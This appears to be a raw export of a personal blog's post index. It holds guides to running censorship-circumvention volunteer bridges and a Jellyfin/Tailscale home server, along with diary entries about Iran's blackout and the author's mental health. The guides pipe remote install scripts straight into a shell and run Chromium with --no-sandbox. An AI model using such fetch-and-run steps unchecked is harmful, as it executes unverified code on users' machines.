automatically Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.\nThe philosophy: don’t be a public server, be a volunteer node A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.\nInstead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.\nThat’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.\nWhat you need (one time) This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.\nFirst, install Docker (because containers are a gift):\nsudo apt update sudo apt install -y curl curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker Now make yourself a clean playground under /srv:\nsudo mkdir -p /srv/{conduit,snowflake,lantern} sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.\nConduit: quietly helping Psiphon users (Docker) Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.\nThe important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.\nThe file: /srv/conduit/docker-compose.yml Create it:\ncd /srv/conduit vim docker-compose.yml Paste this:\nservices: conduit: image: ghcr.io/ssmirr/conduit/conduit:latest container_name: conduit restart: unless-stopped # Keep keys and state across restarts volumes: - ./data:/app/data # Optional: if you want a different bandwidth limit / max clients, # you can pass CLI flags here (these are examples). # command: [\u0026#34;conduit\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;8\u0026#34;] Then bring it up:\ndocker compose up -d docker logs -f conduit When it’s working, you’ll see things like:\n[OK] Connected to Psiphon network periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) If you ever want to stop it:\ndocker stop conduit Or “disable but keep everything” (recommended):\ndocker compose down Or “delete it from orbit” (not recommended unless you enjoy rebuilding):\ndocker rm -f conduit Snowflake: Tor, but even quieter (Docker Compose) Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.\nThe file: /srv/snowflake/docker-compose.yml You can download the official file exactly like this:\ncd /srv/snowflake wget -O docker-compose.yml \\ \u0026#34;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads\u0026#34; If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:\nservices: snowflake-proxy: network_mode: host image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest container_name: snowflake-proxy restart: unless-stopped # For a full list of Snowflake proxy args, see the upstream docs. # Example if you ever need it: # command: [\u0026#34;-ephemeral-ports-range\u0026#34;, \u0026#34;30000:60000\u0026#34;] watchtower: image: containrrr/watchtower container_name: watchtower restart: unless-stopped volumes: - /var/run/docker.sock:/var/run/docker.sock command: snowflake-proxy Start it (with auto updates):\ndocker compose up -d docker logs -f snowflake-proxy If you see:\nProxy starting NAT type: restricted …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.\nIf you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:\ndocker rm -f snowflake-proxy docker compose up -d Lantern Unbounded: a browser that helps people (systemd + Xvfb) Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.\nSo we cheat — politely.\nWe run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.\nInstall what we need sudo apt update sudo apt install -y xvfb sudo apt install -y chromium-browser || sudo apt install -y chromium Fix the X11 socket dir permissions (the annoying but essential part) If you don’t do this, Xvfb may throw:\n_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.\nFix it once:\nsudo chmod 1777 /tmp sudo mkdir -p /tmp/.X11-unix sudo chown root:root /tmp/.X11-unix sudo chmod 1777 /tmp/.X11-unix The file: /etc/systemd/system/unbounded.service Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.\nCreate the service:\nsudo vim /etc/systemd/system/unbounded.service Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):\n[Unit] Description=Lantern Unbounded (Xvfb + Chromium) After=network-online.target Wants=network-online.target [Service] User=YOUR_USER Environment=DISPLAY=:99 Environment=XDG_RUNTIME_DIR=/run/user/%U ExecStart=/usr/bin/bash -lc \u0026#39;\\ /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac \u0026amp; \\ sleep 1; \\ $(command -v chromium || command -v chromium-browser) \\ --no-first-run \\ --disable-breakpad \\ --disable-features=TranslateUI \\ --autoplay-policy=no-user-gesture-required \\ --use-fake-ui-for-media-stream \\ --disable-gpu \\ --no-sandbox \\ --app=https://unbounded.lantern.io/ \\ --kiosk \\ --window-size=1280,720 \\ --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \\ --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \\ \u0026#39; Restart=always RestartSec=5 KillMode=mixed [Install] WantedBy=multi-user.target Enable and start:\nsudo systemctl daemon-reload sudo systemctl enable --now unbounded.service systemctl status unbounded.service --no-pager If you see Active: active (running), you’ve won.\n“It runs headless-ish, but how do I know it’s alive?” The simplest “is it on?” checks:\nsystemctl status unbounded.service --no-pager journalctl -u unbounded.service -f And the “is it actually doing network things?” check:\nsudo ss -tunap | egrep \u0026#39;chrome|chromium|:443|:3478\u0026#39; || true If you ever want to stop it:\nsudo systemctl stop unbounded.service If you want it not to start on boot:\nsudo systemctl disable unbounded.service A note on safety, legality, and expectations None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.\nThe good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.\nThat’s the part I like.\nThe quiet satisfaction of it all There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.\nNo dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.\nAnd honestly? That’s enough.\nSome rants I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we\u0026rsquo;ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom\u0026rsquo;s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(\nThis is super sad and frustrating. I\u0026rsquo;ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I\u0026rsquo;ve been dealing with this situation. It\u0026rsquo;s just annoying. Let\u0026rsquo;s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh\u0026hellip; :(\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS\u0026#43;WczSN1mgw5rrx A7pKwjInH\u0026#43;uf/gs3u84Fx9rrgwPTfLQN\u0026#43;\u0026#43;\u0026#43;iuDYobWddwFWvXyCpJ/nBene2i8Dr EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu 5E\u0026#43;QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p\u0026#43;XhtcHxwh Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7 YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N\u0026#43;kj0Pf6uFQZ8TB\u0026#43;/Grqsgo xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM\u0026#43;Cw= =t4W3 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/blackout.md curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md.asc gpg --verify blackout.md.asc blackout.md ","permalink":"https://blog.alipour.eu/posts/blackout/","summary":"\u003cp\u003eEver since the latest Internet/communication blackout in Iran, I\u0026rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\u003c/p\u003e","title":"Blackout"},{"content":"I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\nAfter this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend\u0026rsquo;s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We\u0026rsquo;ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I\u0026rsquo;m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..\nBonus: Remember I said we went to a Sushi place? I\u0026rsquo;ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I\u0026rsquo;m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that \u0026ldquo;we were eating across the hall, and I noticed how pretty she is!\u0026rdquo;. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn\u0026rsquo;t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11 vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8 Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh\u0026#43;dxU4LtSIp6CaGNHH6mrhq5 LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go\u0026#43;hE/0n0 HWcmIsQgBMiu\u0026#43;XEN5R8jCmW\u0026#43;IZ4uN0FMW6Y\u0026#43;IlfLKNmhhTCj/e\u0026#43;2kO3mxP5TPltf 2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy JIafzVNz9tIDe1SfnP9NnxQ\u0026#43;gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu 5xpuA8nesJsD9oM\u0026#43;ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2 cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1 Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK\u0026#43;FjAvby\u0026#43;KYBObc/mbB4 ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0= =T3Em -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md.asc gpg --verify 2025_highlight.md.asc 2025_highlight.md ","permalink":"https://blog.alipour.eu/posts/2025_highlight/","summary":"\u003cp\u003eI just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)\nNot only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\u003c/p\u003e","title":"2025 Highlight"},{"content":"I have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\nCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\nI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\nI also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he\u0026rsquo;s been wanting to talk to me about\u0026hellip; well\u0026hellip; something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.\nHe kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to \u0026ldquo;give time to time\u0026rdquo;. So\u0026hellip; yea. Idk. She will probably talk to me about this as time goes on. I don\u0026rsquo;t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.\nAnother funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.\nAs time goes by, and as I become more experienced, I feel more relieved.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSr7aBAAgOSc2FBGLiHK\u0026#43;6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt\u0026#43;DKmZnHJlz siRwHqE/\u0026#43;peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn y4CzVsjVClxVCyUf4b361F07\u0026#43;XuGv3kmKOnWTV3suLZykpWpxiQTRdq\u0026#43;jI7DBZKK ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu\u0026#43;sw0\u0026#43;EQoc0 riFVnb2\u0026#43;TK1OSkAu7w7HFLcUY0gGZ4\u0026#43;lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/\u0026#43; KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi\u0026#43;w\u0026#43;mYWRzzFq0jnQsBYYu3QmjuhU\u0026#43;V hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U\u0026#43;BVHRT//Y2w6Xnd1OJi terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD\u0026#43;ZBtAs12NdekX/V4= =xRmw -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md.asc gpg --verify seeing_the_light.md.asc seeing_the_light.md ","permalink":"https://blog.alipour.eu/posts/seeing_the_light/","summary":"\u003cp\u003eI have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\u003c/p\u003e\n\u003cp\u003eCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\u003c/p\u003e\n\u003cp\u003eI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\u003c/p\u003e","title":"Seeing the \"Light\""},{"content":"Ok. Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\nI wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.\nThis post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.\nThe idea Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.\nThe trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.\nWhat you need My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.\nStep one: choose a home for your stuff Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.\nOn the Pi, I created a little directory neighborhood under /srv:\nsudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin sudo chown -R $USER:$USER /srv If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.\nStep two: install Docker and start thinking in containers I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.\nA typical install flow on Raspberry Pi OS looks like this:\nsudo apt update sudo apt install -y ca-certificates curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER newgrp docker docker --version docker compose version Now for the part that feels like summoning a friendly daemon.\nStep three: Jellyfin, running happily in Docker In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.\nHere’s a simple docker-compose.yml that works well on a Pi:\nservices: jellyfin: image: jellyfin/jellyfin:latest container_name: jellyfin user: \u0026#34;1000:1000\u0026#34; ports: - \u0026#34;8096:8096/tcp\u0026#34; - \u0026#34;7359:7359/udp\u0026#34; volumes: - /srv/jellyfin/config:/config - /srv/jellyfin/cache:/cache - /srv/media:/media restart: unless-stopped If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.\nI started Jellyfin like this:\ncd /srv/compose/jellyfin docker compose up -d After that, Jellyfin lived at http://\u0026lt;pi-lan-ip\u0026gt;:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.\nStep four: Tailscale, the magic door for friends Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.\ncurl -fsSL https://tailscale.com/install.sh | sh sudo tailscale up tailscale ip -4 That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:\nhttp://100.x.y.z:8096 Or if you enabled magicDNS:\nhttp://rpi:8096 The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.\nIf you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”\nStep five: create a Jellyfin user for your friend Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.\nIf typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.\nStep six: the secret to a smooth Pi movie night is Direct Play A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.\nFor “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.\nThe fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart \u0026#34;500.Days.of.Summer.2009.1080p.mp4\u0026#34; Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:s:0 \u0026#34;500.Days.of.Summer.2009.1080p.srt\u0026#34; Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.\nStep seven: SyncPlay, aka “we pressed play together” Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.\nStarting on microSD, graduating to SSD later Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.\nThe reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.\nWhere this goes next Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”\nFor now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.\nHappy streaming.\nThe movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I\u0026rsquo;ll write a review for it later on. It was just amazing.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4\u0026#43;dFzPbKjpHZ84on/xfNwIOh8br\u0026#43;WJEBF V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1\u0026#43;8fTdXfQg/t91lTHVfh efVqOiH\u0026#43;B6SlzqPM4LgzRjf\u0026#43;36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g\u0026#43;Lvf 5qjzC\u0026#43;ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05\u0026#43;m7VGjRPp sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY= =/K6E -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/boredom.md curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc gpg --verify boredom.md.asc boredom.md ","permalink":"https://blog.alipour.eu/posts/boredom/","summary":"\u003cp\u003eOk. Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\u003c/p\u003e","title":"Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4"},{"content":"This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I\u0026rsquo;m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it\u0026rsquo;s draining me. Draining me of happiness, being in pursuit of happyness.\nIdk what is wrong with me. Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t. What I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\nThis \u0026ldquo;others\u0026rdquo; in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.\nIdk what to do. I feel like I\u0026rsquo;m stuck in this life that I don\u0026rsquo;t like, with so much that I love. Does this even make sense? Idk. I know I\u0026rsquo;m full of love, and I\u0026rsquo;m willing to give it to someone.\nFew things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don\u0026rsquo;t know if I\u0026rsquo;m lying to myself or not. Second, I know my therapist is worried for me. For how easy I can fall in the wrong people\u0026rsquo;s hand, and how badly I could get hurt.\nHe has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8 fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX\u0026#43;PXQMo5buZy8lvT\u0026#43;n ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG 